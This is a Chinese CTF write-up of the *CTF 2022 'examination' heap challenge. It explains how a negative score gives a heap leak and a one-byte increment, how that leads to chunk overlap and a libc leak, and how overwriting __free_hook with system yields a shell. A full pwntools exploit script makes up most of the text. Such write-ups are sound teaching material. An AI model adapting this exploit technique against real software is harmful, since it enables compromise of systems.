*CTF 2022 pwn examination

题目很简单就是阅读量有点大
在这里插入图片描述
当学生的分数>=90u的时候可以获得堆地址以及任意地址加一注意:是byte类型 以及比较的时候是无符号数比较所以负数的时候就可以实现
分数什么时候能为负数呢?
在这里插入图片描述
在给分函数有一个(qword_5080[i] + 24LL) == 1满足就能执行-=10操作
有时候执行一次不一定能到负数可以多执行几次
那怎么满足上面的条件呢?
在pray函数里面
在这里插入图片描述
评价函数里面将堆块的大小和堆块地址都存在堆上所以我们只需要利用上面的任意加一修改堆块大小就可以完成堆溢出

如图
在这里插入图片描述
任意加一修改大小
在这里插入图片描述
又因为堆块申请限制在0x400以下所以我们要稍微修改一下堆块的大小使其重叠方便泄露地址
在这里插入图片描述
之后继续利用堆溢出修改堆块地址为free_hook的地址就能完成任意写

完成getshell

from pwn import *
context(arch='amd64')
def gd():
 gdb.attach(p)
 pause()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./pwn")
def add(num):
 p.recvuntil(b'choice>> ')
 p.sendline(b'1')
 p.recvuntil(b'enter the number of questions: ')
 p.sendline(str(num).encode())
 p.recvline()
def edit(idx,size,data):
  p.recvuntil(b'choice>> ')
  p.sendline(b'3')
  p.recvuntil(b'which one? > ')
  p.sendline(str(idx).encode())
  if size != -1:
   p.recvuntil(b'please input the size of comment: ')
   p.sendline(str(size).encode())
   p.recvuntil(b'enter your comment:')
   p.send(data)
   print(p.recvline())
  else:
   p.recvuntil(b'enter your comment:')
   p.send(data) 
   print(p.recvline())
def free(idx):  
 p.recvuntil(b'choice>> ')
 p.sendline(b'4')
 p.recvuntil(b'which student id to choose?')
 p.sendline(str(idx).encode())
 print(p.recvline())   
def show():
 p.recvuntil(b'choice>> ')
 p.sendline(b'2')
def change_id(i):
 p.recvuntil(b'choice>> ')
 p.sendline(b'6')
 p.recvuntil(b'input your id: ')
 p.sendline(str(i).encode())
 print(p.recvline())
def change_role(r):
 p.recvuntil(b'choice>> ')
 p.sendline(b'5')
 p.recvuntil(b'role: <0.teacher/1.student>: ')
 p.sendline(str(r).encode())

def set_mode(size):
 p.recvuntil(b'choice>> ')
 p.sendline(b'4')
 p.recvuntil(b'enter your pray score: 0 to 100')
 p.sendline(str(size).encode())
def prey():
 p.recvuntil(b'choice>> ')
 p.sendline(b'3')
 print(p.recvline())
def give():
 p.recvuntil(b'choice>> ')
 p.sendline(b'2')
p.recvuntil(b'role: <0.teacher/1.student>: ') 
p.sendline(b'0')
add(1)
edit(0,0x20,b'a')
add(2)
add(3)
edit(2,0x400-1,b'a')
add(4)
change_role(1)
prey()
change_role(0)
give()
change_role(1)
show()
p.recvuntil(b'Good Job! Here is your reward! ')
heap_base = int(p.recv(14),16) - 0x2a0
p.recvuntil(b'add 1 to wherever you want! addr: ')
print(hex(heap_base))

p.send('{}'.format(heap_base + 0x2e0 + 2))
change_role(0)
edit(0,-1,b'a' * 0x28 + p64(0x31) + p64(0x350 + heap_base) + b'a' * 0x20 + p64(0x21) + b'a' * 0x8 + p64(0x370 + heap_base) + p64(0x20) + p64(0x461))
free(2)
change_role(1)
change_id(1)
prey()
show()
p.recvuntil(b'add 1 to wherever you want! addr: ')
p.send('{}'.format(heap_base + 0x2e0 + 2))
p.recvuntil(b'here is the review:')
p.recvline()
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x1ecb80 - 96
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']
change_role(0)
edit(0,-1,b'/bin/sh\x00' + b'a' * 0x20 + p64(0x31) + p64(0x350 + heap_base) + b'a' * 0x20 + p64(0x21) + b'a' * 0x8 + p64(free_hook) + p64(0x20) + p64(0x461))
edit(1,-1,p64(sys_addr))

gd()

p.interactive()

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值